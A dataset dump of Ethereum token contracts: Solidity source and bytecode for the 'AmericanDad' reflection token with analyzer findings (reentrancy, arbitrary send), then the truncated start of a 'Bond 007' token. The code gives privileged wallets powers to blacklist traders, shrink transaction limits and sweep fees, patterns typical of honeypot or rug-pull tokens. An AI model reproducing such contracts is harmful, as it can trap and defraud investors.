// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AmericanDad is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AmericanDad";
string private constant _symbol = "ADT";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _redisfee = 2;
//Bots
mapping (address => bool) bannedUsers;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function delbot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a1461031b578063c3c8cd801461033b578063c9567bf914610350578063dd62ed3e14610365578063e5dbce82146103ab57600080fd5b806370a0823114610272578063715018a6146102925780638da5cb5b146102a757806395d89b41146102cf578063a9059cbb146102fb57600080fd5b80632634e5e8116100e75780632634e5e8146101df578063313ce56714610201578063514d1b4e1461021d5780635932ead11461023d5780636fc3eaec1461025d57600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a105b595c9a58d85b91185960aa1b60208201525b6040516101619190611b05565b60405180910390f35b34801561017657600080fd5b5061018a61018536600461198c565b6103cb565b6040519015158152602001610161565b3480156101a657600080fd5b50670de0b6b3a76400005b604051908152602001610161565b3480156101cb57600080fd5b5061018a6101da36600461191d565b6103e2565b3480156101eb57600080fd5b506101ff6101fa366004611abe565b61044b565b005b34801561020d57600080fd5b5060405160098152602001610161565b34801561022957600080fd5b506101ff61023836600461195e565b610519565b34801561024957600080fd5b506101ff610258366004611a84565b61060e565b34801561026957600080fd5b506101ff610656565b34801561027e57600080fd5b506101b161028d3660046118aa565b610683565b34801561029e57600080fd5b506101ff6106a5565b3480156102b357600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102db57600080fd5b5060408051808201909152600381526210511560ea1b6020820152610154565b34801561030757600080fd5b5061018a61031636600461198c565b610719565b34801561032757600080fd5b506101ff6103363660046119b8565b610726565b34801561034757600080fd5b506101ff6107bc565b34801561035c57600080fd5b506101ff6107f2565b34801561037157600080fd5b506101b16103803660046118e4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b757600080fd5b506101ff6103c63660046118aa565b610bb4565b60006103d8338484610bf5565b5060015b92915050565b60006103ef848484610d19565b610441843361043c85604051806060016040528060288152602001611cf1602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061112b565b610bf5565b5060019392505050565b600d546001600160a01b0316336001600160a01b03161461046b57600080fd5b600081116104c05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b6104de6127106104d8670de0b6b3a764000084611165565b906111eb565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600d546001600160a01b0316336001600160a01b03161461053957600080fd5b80156105a6574261054d816203f480611c00565b1161057e5760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104b7565b6001600160a01b0382166000908152600a60205260409020805460ff191660011790556105c7565b6001600160a01b0382166000908152600a60205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b031633146106385760405162461bcd60e51b81526004016104b790611b5a565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461067657600080fd5b476106808161122d565b50565b6001600160a01b0381166000908152600260205260408120546103dc906112b2565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016104b790611b5a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d8338484610d19565b6000546001600160a01b031633146107505760405162461bcd60e51b81526004016104b790611b5a565b60005b81518110156107b8576001600b600084848151811061077457610774611ca1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107b081611c70565b915050610753565b5050565b600d546001600160a01b0316336001600160a01b0316146107dc57600080fd5b60006107e730610683565b90506106808161132f565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016104b790611b5a565b601054600160a01b900460ff16156108765760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b7565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108b23082670de0b6b3a7640000610bf5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108eb57600080fd5b505afa1580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092391906118c7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561096b57600080fd5b505afa15801561097f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a391906118c7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109eb57600080fd5b505af11580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2391906118c7565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a5381610683565b600080610a686000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610acb57600080fd5b505af1158015610adf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b049190611ad7565b5050601080546702c68af0bb14000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b89190611aa1565b600d546001600160a01b0316336001600160a01b031614610bd457600080fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6001600160a01b038316610c575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b7565b6001600160a01b038216610cb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d7d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b7565b6001600160a01b038216610ddf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b7565b60008111610e415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b7565b6000546001600160a01b03848116911614801590610e6d57506000546001600160a01b03838116911614155b156110ce57601054600160b81b900460ff1615610f54576001600160a01b0383163014801590610ea657506001600160a01b0382163014155b8015610ec05750600f546001600160a01b03848116911614155b8015610eda5750600f546001600160a01b03838116911614155b15610f5457600f546001600160a01b0316336001600160a01b03161480610f1457506010546001600160a01b0316336001600160a01b0316145b610f545760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104b7565b601154811115610f6357600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610fa557506001600160a01b0382166000908152600b602052604090205460ff16155b610fae57600080fd5b6010546001600160a01b038481169116148015610fd95750600f546001600160a01b03838116911614155b8015610ffe57506001600160a01b03821660009081526005602052604090205460ff16155b80156110135750601054600160b81b900460ff165b15611061576001600160a01b0382166000908152600c6020526040902054421161103c57600080fd5b611047426078611c00565b6001600160a01b0383166000908152600c60205260409020555b600061106c30610683565b601054909150600160a81b900460ff1615801561109757506010546001600160a01b03858116911614155b80156110ac5750601054600160b01b900460ff165b156110cc576110ba8161132f565b4780156110ca576110ca4761122d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061111057506001600160a01b03831660009081526005602052604090205460ff165b15611119575060005b611125848484846114b8565b50505050565b6000818484111561114f5760405162461bcd60e51b81526004016104b79190611b05565b50600061115c8486611c59565b95945050505050565b600082611174575060006103dc565b60006111808385611c3a565b90508261118d8583611c18565b146111e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b7565b9392505050565b60006111e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e4565b600d546001600160a01b03166108fc6112478360026111eb565b6040518115909202916000818181858888f1935050505015801561126f573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61128a8360026111eb565b6040518115909202916000818181858888f193505050501580156107b8573d6000803e3d6000fd5b60006006548211156113195760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b7565b6000611323611512565b90506111e483826111eb565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137757611377611ca1565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113cb57600080fd5b505afa1580156113df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140391906118c7565b8160018151811061141657611416611ca1565b6001600160a01b039283166020918202929092010152600f5461143c9130911684610bf5565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611475908590600090869030904290600401611b8f565b600060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b806114c5576114c5611535565b6114d0848484611558565b806111255761112560046008556002600955565b600081836115055760405162461bcd60e51b81526004016104b79190611b05565b50600061115c8486611c18565b600080600061151f61164f565b909250905061152e82826111eb565b9250505090565b6008541580156115455750600954155b1561154c57565b60006008819055600955565b60008060008060008061156a8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061159c90876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115cb908661172e565b6001600160a01b0389166000908152600260205260409020556115ed8161178d565b6115f784836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061166a82826111eb565b82101561168657505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006116ac8a6008546009546117fb565b92509250925060006116bc611512565b905060008060006116cf8e87878761184a565b919e509c509a509598509396509194505050505091939550919395565b60006111e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112b565b60008061173b8385611c00565b9050838110156111e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b7565b6000611797611512565b905060006117a58383611165565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b600080808061180f60646104d88989611165565b9050600061182260646104d88a89611165565b9050600061183a826118348b866116ec565b906116ec565b9992985090965090945050505050565b60008080806118598886611165565b905060006118678887611165565b905060006118758888611165565b905060006118878261183486866116ec565b939b939a50919850919650505050505050565b80356118a581611ccd565b919050565b6000602082840312156118bc57600080fd5b81356111e481611ccd565b6000602082840312156118d957600080fd5b81516111e481611ccd565b600080604083850312156118f757600080fd5b823561190281611ccd565b9150602083013561191281611ccd565b809150509250929050565b60008060006060848603121561193257600080fd5b833561193d81611ccd565b9250602084013561194d81611ccd565b929592945050506040919091013590565b6000806040838503121561197157600080fd5b823561197c81611ccd565b9150602083013561191281611ce2565b6000806040838503121561199f57600080fd5b82356119aa81611ccd565b946020939093013593505050565b600060208083850312156119cb57600080fd5b823567ffffffffffffffff808211156119e357600080fd5b818501915085601f8301126119f757600080fd5b813581811115611a0957611a09611cb7565b8060051b604051601f19603f83011681018181108582111715611a2e57611a2e611cb7565b604052828152858101935084860182860187018a1015611a4d57600080fd5b600095505b83861015611a7757611a638161189a565b855260019590950194938601938601611a52565b5098975050505050505050565b600060208284031215611a9657600080fd5b81356111e481611ce2565b600060208284031215611ab357600080fd5b81516111e481611ce2565b600060208284031215611ad057600080fd5b5035919050565b600080600060608486031215611aec57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b3257858101830151858201604001528201611b16565b81811115611b44576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdf5784516001600160a01b031683529383019391830191600101611bba565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c1357611c13611c8b565b500190565b600082611c3557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c5457611c54611c8b565b500290565b600082821015611c6b57611c6b611c8b565b500390565b6000600019821415611c8457611c84611c8b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461068057600080fd5b801515811461068057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ebcf8f17c0225557f7d4b77cd07426ca1562929e00cacda447889051355e4cf64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,684 |
0x97badecf87aaed9e6d05aef5a2d4f4fd6bd2ae86
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/Bond007token
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="BOND";
string constant TOKEN_NAME="Bond 007";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract Bond is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
